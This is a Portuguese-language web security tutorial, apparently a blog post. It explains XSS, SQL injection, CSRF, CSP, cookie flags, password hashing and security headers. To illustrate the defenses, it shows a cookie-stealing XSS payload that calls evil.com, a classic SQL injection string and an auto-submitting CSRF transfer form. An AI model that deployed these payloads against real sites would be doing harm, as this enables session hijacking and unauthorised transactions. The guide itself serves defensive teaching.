Toda aplicação web é um alvo. De projetos pessoais independentes a plataformas corporativas, no momento em que seu código se torna acessível na internet, ele enfrenta scanners automatizados, bots oportunistas e atacantes motivados. A boa notícia é que a grande maioria das vulnerabilidades web se enquadra em um punhado de categorias bem compreendidas — e todas elas são preveníveis. Este guia aborda os vetores de ataque mais críticos que todo desenvolvedor web precisa entender, juntamente com defesas concretas que você pode implementar hoje mesmo.
O OWASP Top 10: Seu Roteiro de Segurança
O Open Worldwide Application Security Project (OWASP) publica uma lista periodicamente atualizada dos dez riscos de segurança mais críticos para aplicações web. A edição de 2021 (a mais recente até este momento) inclui:
- Controle de Acesso Quebrado — usuários acessando dados ou funções que não deveriam
- Falhas Criptográficas — criptografia fraca, segredos expostos
- Injeção — SQL injection, command injection, LDAP injection
- Design Inseguro — falhas arquiteturais que nenhuma correção de código pode resolver
- Configuração Insegura — credenciais padrão, funcionalidades desnecessárias ativadas
- Componentes Vulneráveis & Obsoletos — bibliotecas e frameworks sem patches
- Falhas de Identificação & Autenticação — senhas fracas, falta de MFA
- Falhas de Integridade de Software & Dados — pipelines CI/CD não confiáveis, desserialização insegura
- Falhas de Log & Monitoramento de Segurança — violações passam despercebidas
- Server-Side Request Forgery (SSRF) — enganando o servidor para fazer requisições não intencionais
Vamos mergulhar nas vulnerabilidades mais comumente encontradas por desenvolvedores front-end e full-stack.
Cross-Site Scripting (XSS)
XSS ocorre quando um atacante injeta scripts maliciosos em páginas web visualizadas por outros usuários. Continua sendo uma das vulnerabilidades mais prevalentes na web. Existem três tipos principais:
Reflected XSS
O script malicioso vem da requisição HTTP atual. Por exemplo, uma página de busca que reflete o parâmetro de consulta diretamente no HTML:
<!-- ❌ VULNERÁVEL --> <p>Você pesquisou por: <?= $_GET['q'] ?></p> <!-- Atacante cria URL: --> <!-- /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> -->
Stored XSS
O script malicioso é armazenado permanentemente no servidor (por exemplo, em um banco de dados) e servido a todos os usuários que visualizam a página afetada — seções de comentários e perfis de usuário são alvos comuns.
DOM-Based XSS
A vulnerabilidade existe no JavaScript do lado do cliente que processa dados de uma fonte não confiável (como location.hash) e os escreve no DOM sem sanitização.
Prevenindo XSS
- Escape a saída — sempre codifique dados fornecidos pelo usuário antes de renderizá-los em HTML. Use
htmlspecialchars()em PHP, auto-escape em frameworks como React, Angular ou Twig. - Use cabeçalhos de Content Security Policy (discutido abaixo).
- Evite
innerHTML— usetextContentou métodos de renderização seguros fornecidos pelo framework. - Sanitize rich text — se você precisa aceitar HTML, use um sanitizador bem mantido como DOMPurify.
- Codifique URLs de parâmetros dinâmicos — especialmente ao construir links com entrada do usuário.
<!-- ✅ SEGURO --> <p>Você pesquisou por: <?= htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8') ?></p>
SQL Injection
SQL injection acontece quando a entrada do usuário é concatenada diretamente em uma consulta SQL, permitindo que um atacante manipule a lógica da consulta:
# ❌ VULNERÁVEL — concatenação de strings query = "SELECT * FROM users WHERE username = '" + username + "'" # Atacante insere: ' OR '1'='1 # Consulta resultante: # SELECT * FROM users WHERE username = '' OR '1'='1' # → Retorna TODOS os usuários
Prevenindo SQL Injection
- Use consultas parametrizadas (prepared statements) — esta é a defesa mais eficaz.
- Use um ORM — frameworks como Eloquent, SQLAlchemy ou Prisma cuidam da parametrização para você.
- Valide tipos de entrada — se você espera um ID inteiro, converta-o para inteiro.
- Aplique o princípio do menor privilégio — seu usuário do banco de dados deve ter apenas as permissões necessárias.
// ✅ SEGURO — consulta parametrizada
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute(['username' => $input]);
$user = $stmt->fetch();
// ✅ SEGURO const result = await pool.query( 'SELECT * FROM users WHERE username = $1', [username] );
Cross-Site Request Forgery (CSRF)
CSRF engana o navegador de um usuário autenticado para fazer uma requisição não intencional a um site onde ele está logado. Por exemplo, um atacante poderia incorporar uma tag de imagem ou um formulário de auto-envio em seu site que ataca seu aplicativo bancário:
<!-- No site do atacante -->
<form action="https://bank.com/transfer" method="POST" id="evil">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('evil').submit();</script>
Prevenindo CSRF
- Use tokens anti-CSRF — inclua um token único e imprevisível em cada formulário e valide-o no servidor. A maioria dos frameworks (Laravel, Django, Rails) inclui isso automaticamente.
- Use o atributo de cookie
SameSite— definaSameSite=LaxouSameSite=Strictem cookies de sessão. - Verifique os cabeçalhos
OrigineRefererem requisições que alteram estado. - Exija reautenticação para ações sensíveis (por exemplo, mudar e-mail ou senha).
Content Security Policy (CSP)
Uma Content Security Policy é um cabeçalho de resposta HTTP que informa ao navegador quais fontes de conteúdo são permitidas para carregar em sua página. É uma das defesas mais poderosas contra XSS:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self';
Com esta política, scripts inline sem um nonce são bloqueados, scripts só podem carregar de seu próprio domínio e do CDN especificado, e a página não pode ser incorporada em iframes (prevenindo clickjacking). Comece com Content-Security-Policy-Report-Only para monitorar violações antes de impor.
HTTPS & Segurança de Transporte
O HTTPS criptografa todos os dados entre o cliente e o servidor, prevenindo espionagem, adulteração e ataques man-in-the-middle. Em 2025, HTTPS não é opcional — é um requisito básico.
- Obtenha um certificado gratuito do Let's Encrypt.
- Redirecione todo o HTTP para HTTPS — force isso no nível do servidor.
- Habilite HSTS — o cabeçalho
Strict-Transport-Securityinstrui os navegadores a sempre usar HTTPS:
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Configuração Segura de Cookies
Cookies de sessão são as chaves das contas de seus usuários. Cookies mal configurados são uma fonte comum de sequestro de sessão:
Set-Cookie: session_id=abc123; HttpOnly; /* Não acessível via JavaScript */ Secure; /* Apenas enviado via HTTPS */ SameSite=Lax; /* Mitiga CSRF */ Path=/; Max-Age=3600; /* Expira em 1 hora */
HttpOnly— impede que JavaScript leia o cookie, neutralizando roubo de sessão baseado em XSS.Secure— garante que o cookie nunca seja enviado via HTTP não criptografado.SameSite— controla se o cookie é enviado com requisições cross-site.Laxé um bom padrão;Stricté mais seguro, mas pode quebrar alguns fluxos legítimos.
Hashing de Senhas
Nunca armazene senhas em texto puro. Nunca use MD5 ou SHA-1 para senhas. Estas são funções de hash *rápidas* — e velocidade é inimiga do armazenamento de senhas, pois permite ataques de força bruta.
Use um algoritmo de hashing lento, com salt e adaptativo projetado especificamente para senhas:
// ✅ Usando bcrypt via API de senha do PHP
$hash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]);
// Verificação
if (password_verify($inputPassword, $storedHash)) {
// Senha está correta
}
// Verifica se é necessário re-hashing (por exemplo, o custo foi aumentado)
if (password_needs_rehash($storedHash, PASSWORD_BCRYPT, ['cost' => 12])) {
$newHash = password_hash($inputPassword, PASSWORD_BCRYPT, ['cost' => 12]);
// Atualiza o hash armazenado no banco de dados
}
const bcrypt = require('bcrypt');
const saltRounds = 12;
// Hash
const hash = await bcrypt.hash(password, saltRounds);
// Verificar
const match = await bcrypt.compare(inputPassword, storedHash);
Algoritmos recomendados em ordem de preferência: Argon2id (vencedor da Password Hashing Competition), bcrypt, scrypt. Todos os três são intencionalmente lentos e incluem salting embutido.
Validação de Entrada & Codificação de Saída
Estes dois princípios formam a base da codificação segura:
- Validação de entrada — verifique se os dados de entrada correspondem aos tipos, comprimentos, formatos e intervalos esperados. Rejeite tudo o que não estiver em conformidade. Use listas de permissão (padrões conhecidos como bons) em vez de listas de negação (padrões conhecidos como ruins).
- Codificação de saída — escape os dados para o contexto em que estão sendo usados. Contexto HTML requer codificação HTML, contexto JavaScript requer codificação JS, contexto de URL requer codificação percentual e contexto SQL requer consultas parametrizadas.
Estes são complementares — a validação sozinha não pode prevenir XSS se você renderizar saída sem escape, e a codificação sozinha não corrigirá um SQL injection se você concatenar consultas.
Checklist de Cabeçalhos de Segurança
Além de CSP e HSTS, considere adicionar estes cabeçalhos a cada resposta:
X-Content-Type-Options: nosniff X-Frame-Options: DENY Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: camera=(), microphone=(), geolocation=() Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin
Você pode auditar seus cabeçalhos em securityheaders.com para ver sua pontuação.
Conclusão
Segurança web não é um recurso que você adiciona no final — deve ser entrelaçada em todas as camadas da sua aplicação desde o início. Os ataques descritos aqui são bem documentados, bem compreendidos e totalmente preveníveis. Use consultas parametrizadas para parar SQL injection. Codifique a saída para parar XSS. Adicione tokens CSRF e cookies SameSite para prevenir requisições forjadas. Faça hash de senhas com bcrypt ou Argon2. Sirva tudo via HTTPS. E implemente uma Content Security Policy para atuar como sua última linha de defesa. Nenhuma aplicação é pequena demais para não merecer essas proteções.
Codifique Dados com Segurança Online
A codificação adequada é um pilar da segurança web. Use nossas ferramentas gratuitas para codificar parâmetros de URL ou codificar dados Base64 para transporte seguro.